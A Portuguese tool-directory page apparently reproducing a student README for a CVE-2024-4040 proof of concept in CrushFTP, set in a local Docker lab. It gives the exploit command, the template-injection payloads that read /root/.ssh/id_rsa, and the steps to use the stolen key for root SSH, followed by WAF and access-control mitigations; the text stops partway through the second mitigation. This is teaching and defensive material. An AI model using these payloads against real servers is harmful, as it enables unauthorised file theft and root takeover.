Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — Prova de conceito de exploit para CVE-2024-4040, demonstrando SSTI não autenticado e leitura de arquivos locais no CrushFTP, com laboratório Docker e estratégias de mitigação. | Kitploit
Ferramentas/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

Prova de conceito de exploit para CVE-2024-4040, demonstrando SSTI não autenticado e leitura de arquivos locais no CrushFTP, com laboratório Docker e estratégias de mitigação.

Ver Repositório
5há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade CVE-2024-4040 — Prova de Conceito de SSTI / LFI no CrushFTP

Apenas para uso educacional e laboratorial autorizado.
Para o módulo CS443 de Segurança de Software e Sistemas. O laboratório foi realizado em um ambiente Docker local controlado.


Resumo da Vulnerabilidade

CampoDetalhe
CVECVE-2024-4040
Software AfetadoCrushFTP < 10.7.1 (branch v10) / < 11.1.0 (branch v11)
Tipo de VulnerabilidadeInjeção de Template no Servidor (SSTI) → Leitura Local de Arquivos sem Autenticação
Pontuação CVSS9.8 Crítico
ImpactoAtacantes não autenticados podem ler arquivos arbitrários do sistema de arquivos do servidor

O WebInterface do CrushFTP avalia expressões de template no parâmetro path do comando zip sem sanitização. Um atacante não autenticado pode obter cookies de sessão anônimos e, em seguida, usá-los para enviar payloads de template ({working_dir}, <INCLUDE>…</INCLUDE>) que o servidor avalia e retorna — permitindo a leitura arbitrária de arquivos em todo o host.


Ambiente de Laboratório

ComponenteValor
Alvohttp://localhost:8080
Versão Base do CrushFTP no PoC10.3.0 (intencionalmente vulnerável)
Ambiente de Teste da Mitigação 3Contêiner separado executando CrushFTP 11.x (branch corrigida)
Porta SSH (contêiner)2222 → 22
Credenciais de Administradoradmin / admin
Runtime de ContêinerDocker (Compose)

Pré-requisitos

pip install requests rich

Scripts

ScriptOrigemFinalidade
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCExploit completo de SSTI/LFI — roubo de sessão, leitura arbitrária de arquivos
recon.pyEste repositórioDetecção de versão, teste ao vivo de SSTI, confirmação de vulnerabilidade

Passo a Passo da Prova de Conceito

Passo 1 — Iniciar o Laboratório

docker-compose up -d

Aguarde ~10 segundos para o CrushFTP inicializar completamente antes de executar os scripts. Nenhuma etapa separada de reconhecimento é necessária aqui porque o crushed.py já verifica se a exploração é possível durante a execução.


Passo 2 — Roubar a Chave Privada SSH via LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

O script irá:

  1. Obter uma sessão anônima CrushAuth / currentAuth em /WebInterface/
  2. Usar SSTI para confirmar a avaliação de template e vazar o hostname do servidor
  3. Usar {working_dir} para resolver o diretório de instalação do CrushFTP
  4. Usar <INCLUDE>/root/.ssh/id_rsa</INCLUDE> para ler o arquivo alvo
  5. Imprimir o conteúdo bruto do arquivo na saída padrão

Copie o bloco da chave privada da saída (tudo desde -----BEGIN OPENSSH PRIVATE KEY----- até -----END OPENSSH PRIVATE KEY-----).


Passo 3 — Salvar a Chave Roubada

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Passo 4 — Conectar via SSH ao Contêiner como Root

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Passo 5 — Confirmar Acesso Root

whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

Diagrama da Cadeia de Ataque

Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

Problemas Conhecidos Importantes no crushed.py

ProblemaLocalizaçãoDetalhes
Dependência ausenteLinhas 6–9Requer pip install rich antes de executar
Parsing XML frágilLinhas 86, 140Falha em respostas de servidor não XML; sem tratamento de ParseError
Regex de token muito restritaLinhas 160–161O padrão CrushAuth=…; currentAuth=… pode não corresponder a todos os formatos de sessions.obj
Somente HTTP 404Linha 53A captura do cookie só é bem-sucedida no 404; prossegue silenciosamente em outros códigos de status

Estratégias de Mitigação

Mitigação 1 — Firewall de Aplicação Web (NGINX + ModSecurity)

Visão Geral

Um WAF atua como um proxy reverso que inspeciona o tráfego HTTP/S de entrada antes que ele chegue ao CrushFTP. Usando NGINX com ModSecurity, requisições maliciosas que exploram a CVE-2024-4040 são bloqueadas na borda da rede sem modificar o próprio CrushFTP.

Como Isso Mitiga a CVE-2024-4040

  • Bloqueia padrões de path traversal (por exemplo, ../, %2e%2e) nas URIs de requisição e cookies
  • Impede que requisições não autenticadas de escape de VFS cheguem ao CrushFTP
  • Registra e nega payloads suspeitos antes que atinjam a aplicação

Configuração Docker

Utilize Mitigation 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configuração NGINX

Utilize Mitigation 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Fluxo de Tráfego

Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Limitações

  • Não corrige a causa raiz — o CrushFTP permanece vulnerável se o WAF for contornado
  • Requer atualizações de regras à medida que atacantes desenvolvem técnicas de ofuscação

Mitigação 2 — Desativar o Acesso de Usuários Anônimos

Visão Geral

A CVE-2024-4040 é explorável sem autenticação. Neste laboratório, o acesso no estilo anônimo é bloqueado na camada NGINX, exigindo um cabeçalho Authorization antes de fazer proxy de rotas sensíveis para o CrushFTP.

Como Isso Mitiga a CVE-2024-4040

  • Scripts de exploit como crushed.py dependem de acesso não autenticado; requisições sem credenciais são rejeitadas com 401
  • Requisições para /WebInterface/ e / são negadas a menos que dados de autenticação estejam presentes
  • Reduz a exposição de endpoints vulneráveis a usuários não autenticados

Configuração Docker (Exata de Mitigation 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Política NGINX (Exata de Mitigation 2/nginx.conf)

Baixar ferramenta